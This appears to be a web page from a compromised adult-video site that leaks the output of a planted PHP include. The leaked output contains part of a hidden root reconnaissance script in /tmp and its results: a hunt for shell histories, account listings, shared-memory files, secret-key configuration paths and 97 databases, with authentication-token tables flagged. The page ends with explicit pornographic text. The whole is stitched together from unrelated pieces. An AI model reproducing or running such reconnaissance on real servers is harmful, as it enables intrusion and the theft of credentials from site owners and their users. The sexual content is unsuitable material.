ARTS|ob=[/:/tmp/]|
P: /www/wwwlogs EXISTS mode=700 uid=1000 size=12288
P: /www/wwwlogs/nginx_error.log EXISTS mode=700 uid=1000 size=25982567
P: /www/wwwlogs/access.log EXISTS mode=700 uid=1000 size=2036549
P: /www/wwwlogs/panel.log NO
P: /www/wwwlogs/tcp-access.log EXISTS mode=700 uid=1000 size=0
LOGS=/www/wwwlogs/2026hl.sbs.error.log,/www/wwwlogs/2026hl.sbs.log,/www/wwwlogs/3dyjg.sbs.error.log,/www/wwwlogs/3dyjg.sbs.log,/www/wwwlogs/access.log,/www/wwwlogs/ad999.cfd.error.log,/www/wwwlogs/ad999.cfd.log,/www/wwwlogs/avzxgk.sbs.error.log,/www/wwwlogs/avzxgk.sbs.log,/www/wwwlogs/bbssgg.sbs.error.log,/www/wwwlogs/bbssgg.sbs.log,/www/wwwlogs/cdhs01.sbs.error.log,/www/wwwlogs/cdhs01.sbs.log,/www/wwwlogs/cnscd01.top.error.log,/www/wwwlogs/cnscd01.top.log,/www/wwwlogs/cnsss.sbs.error.log,/www/wwwlogs/cnsss.sbs.log,/www/wwwlogs/crlb01.sbs.error.log,/www/wwwlogs/crlb01.sbs.log,/www/wwwlogs/cscnm.sbs.error.log,/www/wwwlogs/cscnm.sbs.log,/www/wwwlogs/csdzk.sbs.error.log,/www/wwwlogs/csdzk.sbs.log,/www/wwwlogs/csllhot.sbs.error.log,/www/wwwlogs/csllhot.sbs.log,/www/wwwlogs/csns01.sbs.error.log,/www/wwwlogs/csns01.sbs.log,/www/wwwlogs/csrqa.sbs.error.log,/www/wwwlogs/csrqa.sbs.log,/www/wwwlogs/csyna.sbs.error.log,/www/wwwlogs/csyna.sbs.log,/www/wwwlogs/daji01.sbs.error.log,/www/wwwlogs/daji01.sbs.log,/www/wwwlogs/dnw001.sbs.error.log,/www/wwwlogs/dnw001.sbs.log,/www/wwwlogs/duoptgl.sbs.error.log,/www/wwwlogs/duoptgl.sbs.log,/www/wwwlogs/dxs001.sbs.error.log,/www/wwwlogs/dxs001.sbs.log,/www/wwwlogs/ffnn01.sbs.error.log
=== /tmp/.i62786_scan.sh ===
#!/bin/bash
set +e
OUT=/tmp/.i62786_scan.out
: > "$OUT"
log(){ echo "$*" >> "$OUT"; }
log "===== START $(date) uid=$(id -u) ====="
log ""
log "===== A. NON-BASH SHELL HISTORY FILES ====="
log "--- find /root /home /www named histories ---"
find /root /home /www -xdev \( -name '.zsh_history' -o -name '.fish_history' -o -name '.ksh_history' -o -name '.tcsh_history' -o -name '.zhistory' -o -name '.sh_history' -o -name '.history' \) -print 2>/dev/null | tee -a "$OUT"
log "--- find /etc/passwd homes extra ---"
cut -d: -f6 /etc/passwd | sort -u | while read h; do
[ -d "$h" ] || continue
for f in .zsh_history .fish_history .ksh_history .tcsh_history .zhistory .sh_history .history .zshrc .zprofile .zshenv .fishrc .config/fish/fish_history; do
p="$h/$f"
if [ -e "$p" ]; then log "HOMEHIT $p $(ls -la "$p" 2>/dev/null | awk '{print $1,$3,$4,$5,$6,$7,$8}')"; fi
done
# HISTFILE in rc
=== /tmp/.i62786_scan.out ===
===== START 2026年 10月 29日 星期四 09:01:52 CST uid=0 =====
===== A. NON-BASH SHELL HISTORY FILES =====
--- find /root /home /www named histories ---
--- find /etc/passwd homes extra ---
--- locate any *history under /root /home /www (maxdepth 4, skip huge) ---
--- default shells of users ---
root /root /bin/bash
bin /bin /sbin/nologin
daemon /sbin /sbin/nologin
adm /var/adm /sbin/nologin
lp /var/spool/lpd /sbin/nologin
sync /sbin /bin/sync
shutdown /sbin /sbin/shutdown
halt /sbin /sbin/halt
mail /var/spool/mail /sbin/nologin
operator /root /sbin/nologin
games /usr/games /sbin/nologin
ftp /var/ftp /sbin/nologin
nobody / /sbin/nologin
systemd-network / /sbin/nologin
dbus / /sbin/nologin
polkitd / /sbin/nologin
sshd /var/empty/sshd /sbin/nologin
postfix /var/spool/postfix /sbin/nologin
chrony /var/lib/chrony /sbin/nologin
rpc /var/lib/rpcbind /sbin/nologin
www /home/www /sbin/nolog
=== /tmp/.i62786_scan2.out ===
===== START 2026年 10月 29日 星期四 09:02:58 CST uid=0 =====
===== C. /dev/shm LISTING =====
--- mount ---
devtmpfs on /dev type devtmpfs (rw,nosuid,size=16346464k,nr_inodes=4086616,mode=755)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
tmpfs on /run type tmpfs (rw,nosuid,nodev,mode=755)
tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755)
tmpfs on /run/user/0 type tmpfs (rw,nosuid,nodev,relatime,size=3271480k,mode=700)
--- df ---
文件系统 容量 已用 可用 已用% 挂载点
tmpfs 16G 12K 16G 1% /dev/shm
tmpfs 16G 146M 16G 1% /run
/dev/sda4 424G 220G 182G 55% /
tmpfs 16G 12K 16G 1% /dev/shm
tmpfs 16G 146M 16G 1% /run
--- ls -la /dev/shm ---
总用量 12
drwxrwxrwt 3 root root 120 10月 28 01:05 .
drwxr-xr-x 18 root root 3160 10月 24 00:15 ..
-rw-r--r-- 1 root root
=== /tmp/.i62786_scan2.log ===
文件系统 容量 已用 可用 已用% 挂载点
tmpfs 16G 12K 16G 1% /dev/shm
tmpfs 16G 146M 16G 1% /run
/dev/sda4 424G 220G 182G 55% /
tmpfs 16G 12K 16G 1% /dev/shm
tmpfs 16G 146M 16G 1% /run
=== /tmp/.i62786_local.txt ===
===== START 2026年 10月 29日 星期四 09:01:52 CST uid=0 =====
===== A. NON-BASH SHELL HISTORY FILES =====
--- find /root /home /www named histories ---
--- find /etc/passwd homes extra ---
--- locate any *history under /root /home /www (maxdepth 4, skip huge) ---
--- default shells of users ---
root /root /bin/bash
bin /bin /sbin/nologin
daemon /sbin /sbin/nologin
adm /var/adm /sbin/nologin
lp /var/spool/lpd /sbin/nologin
sync /sbin /bin/sync
shutdown /sbin /sbin/shutdown
halt /sbin /sbin/halt
mail /var/spool/mail /sbin/nologin
operator /root /sbin/nologin
games /usr/games /sbin/nologin
ftp /var/ftp /sbin/nologin
nobody / /sbin/nologin
systemd-network / /sbin/nologin
dbus / /sbin/nologin
polkitd / /sbin/nologin
sshd /var/empty/sshd /sbin/nologin
postfix /var/spool/postfix /sbin/nologin
chrony /var/lib/chrony /sbin/nologin
rpc /var/lib/rpcbind /sbin/nologin
www /home/www /sbin/nolog
=== /tmp/.i62786_s3_local.txt ===
===== START 2026年 10月 29日 星期四 09:04:26 CST uid=0 =====
===== SHM FILE CONTENTS =====
--- hexdump /dev/shm/bt.pl ---
--- cat /dev/shm/bt.pl ---
1792772215.601606
--- hexdump /dev/shm/.start_task.pl ---
--- cat /dev/shm/.start_task.pl ---
1793235865
--- hexdump /dev/shm/.panelTask.pl ---
--- cat /dev/shm/.panelTask.pl ---
1793235866
--- nginx-cache ---
/dev/shm/nginx-cache
246174128 0 drwxr-xr-x 3 www www 60 10月 28 01:05 /dev/shm/nginx-cache
/dev/shm/nginx-cache/wp
246174129 0 drwxr-xr-x 2 www www 40 10月 28 01:05 /dev/shm/nginx-cache/wp
/dev/shm/nginx-cache:
总用量 0
drwxr-xr-x 3 www www 60 10月 28 01:05 .
drwxrwxrwt 3 root root 120 10月 28 01:05 ..
drwxr-xr-x 2 www www 40 10月 28 01:05 wp
/dev/shm/nginx-cache/wp:
总用量 0
drwxr-xr-x 2 www www 40 10月 28 01:05 .
drwxr-xr-x 3 www www 60 10月 28 01:05 ..
--- /run/us
=== /tmp/.hair.json ===
{
"database": "data/membership.sqlite3",
"mini_program": {
"secret_env": "WX_APP_SECRET",
"appid": ""
},
"brand": "\u901a\u7528\u7f8e\u53d1\u4f1a\u5458\u7cfb\u7edf",
"public_url": "https://vip.duoptgl.sbs/meifa",
"base_path": "/meifa",
"environment": "production",
"report_notification": {
"username": "",
"from": "",
"to": "",
"host": "",
"password_env": "SALON_SMTP_PASSWORD",
"port": 465
},
"payments": {
"STORE_CODE": {
"certificate_serial": "",
"mchid": "",
"api_v3_key_env": "WX_STORE_API_V3_KEY",
"platform_key_id": "",
"private_key_file": "secrets/store-private-key.pem",
"platform_public_key_file": "secrets/wechatpay-public-key.pem"
}
},
"allowed_hosts": [
"vip.duoptgl.sbs",
"localhost",
"127.0.0.1"
]
}
=== /tmp/.hairb.json ===
{
"database": "data/membership.sqlite3",
"mini_program": {
"secret_env": "WX_APP_SECRET",
"appid": ""
},
"brand": "\u901a\u7528\u7f8e\u53d1\u4f1a\u5458\u7cfb\u7edf",
"public_url": "https://members.example.com",
"environment": "production",
"report_notification": {
"username": "",
"from": "",
"to": "",
"host": "",
"password_env": "SALON_SMTP_PASSWORD",
"port": 465
},
"payments": {
"STORE_CODE": {
"certificate_serial": "",
"mchid": "",
"api_v3_key_env": "WX_STORE_API_V3_KEY",
"platform_key_id": "",
"private_key_file": "secrets/store-private-key.pem",
"platform_public_key_file": "secrets/wechatpay-public-key.pem"
}
},
"allowed_hosts": [
"members.example.com"
]
}
=== .db_keys full (first 2500) ===
DBS rc=0 err=
NDB=97 sql_2026hl_sbs,sql_3dyjg_sbs,sql_avzxgk_sbs,sql_bbssgg_sbs,sql_cdhs01_sbs,sql_chigs_cyou,sql_cnscd01_top,sql_cnsss_sbs,sql_crlb01_sbs,sql_cscnm_sbs,sql_csdzk_sbs,sql_csllhot_sbs,sql_csns01_sbs,sql_csrqa_sbs,sql_csyna_sbs,sql_daji01_sbs,sql_dnw001_sbs,sql_duoptgl_sbs,sql_dxs001_sbs,sql_ffnn01_sbs,sql_gcxbb_sbs,sql_gf001_lol,sql_gfny1_sbs,sql_gpq001_sbs,sql_gqgc1_sbs,sql_gqxyn_sbs,sql_guochan01_sbs,sql_guochanyn_top,sql_hgav01_sbs,sql_hhg01_cfd,sql_hoguo_sbs,sql_hsll01_sbs,sql_huanghuo_sbs,sql_huangpian_sbs,sql_huangpianhs_,sql_jakgc_sbs,sql_jijihy2_cfd,sql_jpwji_sbs,sql_jpxm1_sbs,sql_llwcn_sbs,sql_llxyn_sbs,sql_llyw01_sbs,sql_luahlun_cyou,sql_mrdsai_lol,sql_my001_cfd,sql_nrdyh_sbs,sql_ntl01_sbs,sql_ntxyn_sbs,sql_qixnv_sbs,sql_rshli_sbs,sql_rswan_lol,sql_sbhot_cc,sql_sdfq01_sbs,sql_sjiyn01_sbs,sql_srxing_sbs,sql_sssbd_cc,sql_sx001_cyou,sql_tjsbs003_sbs,sql_weicn_cyou,sql_wgzg0_cfd,sql_wmbj01_sbs,sql_wn001_sbs,sql_wumayoun_top,sql_wwei1_sbs,sql_xgxyn_sbs,sql_xiaohuangpz_top,sql_xiaonv_sbs,sql_xiaosan_sbs,sql_xingheys_xyz,sql_xjrhot_sbs,sql_xmmxmm_sbs,sql_xnbb01_sbs,sql_xtxy01_sbs,sql_xynll01_sbs,sql_xynsp_sbs,sql_xynwm01_sbs,sql_yclm01_sbs,sql_yimaaaj_top,sql_yncfn_sbs,sql_ynxnt_sbs,sql_ynyjy_sbs,sql_yonv1314_top,sql_younvpc_top,sql_younvzw_top,sql_ytnt01_sbs,sql_ywzzs_sbs,sql_zdhd01_sbs,sql_zdxy01_sbs,sql_zhongggg_top,sql_zjxnh01_sbs,sql_zkyn01_sbs,sql_zsll01_sbs,sql_zsxmm_sbs,sql_zsyna_sbs,sql_zxxyn_sbs,zd,zdhd
## sql_huangpianhs_ ntbl=75 interest=matomo_option,matomo_plugin_setting,matomo_site_setting,matomo_user_token_auth
TBL matomo_option cols=option_name,option_value,autoload
no-key-match nrows=40 sample=AIAssistantDefinitions YToyNTp7czoxNToieWl5YW4uYmFpZHUuY29tIjtzOjg6IkJhaWR1IEFJIjtzOjEyOiJhaS5iYWlkdS5jb20iO3M6ODoiQmFpZHUgQUkiO3M6MTI6ImNoYXRwbHVzLmNvbSI7czo1OiJDaGF0KyI7czoxMjoiY2hhdC1ncHQub3JnIjtzO
TBL matomo_plugin_setting cols=plugin_name,setting_name,setting_value,json_encoded,user_login,idplugin_setting
no-key-match nrows=3 sample=Tour change_visualisations_completed 1 0 koko88 4 | Tour view_row_evolution_completed 1 0 koko88 5 | Tour view_visits_log_completed 1 0 koko88 6 |
TBL matomo_site_setting cols=idsite,plugin_name,setting_name,setting_value,json_encoded,idsite_setting
no-key-match nrows=40 sample=1 CoreAdminHome trackingCodeExistsCheck 1 0 1 | 11 Live disable_visitor_log 0 0 28 | 11 Live disable_visitor_profile 0 0 29 | 11 CoreAdminHome trackingCodeExistsCheck 1 0 31 | 12 Live disable_visitor_log 0 0
|ARTSEND
Warning: Cannot modify header information - headers already sent by (output started at /tmp/.arts.php:5) in /www/wwwroot/cnsss.sbs/index.php on line 9
超嫩射射射 - 提供最新视频、国产热门、乱伦黄片、成人电影免费在线观看，每日更新热门视频资源，高清在线播放。
红发制服大奶妹子淫声荡语撩骚互动玩奶扣逼道具自慰
返回详情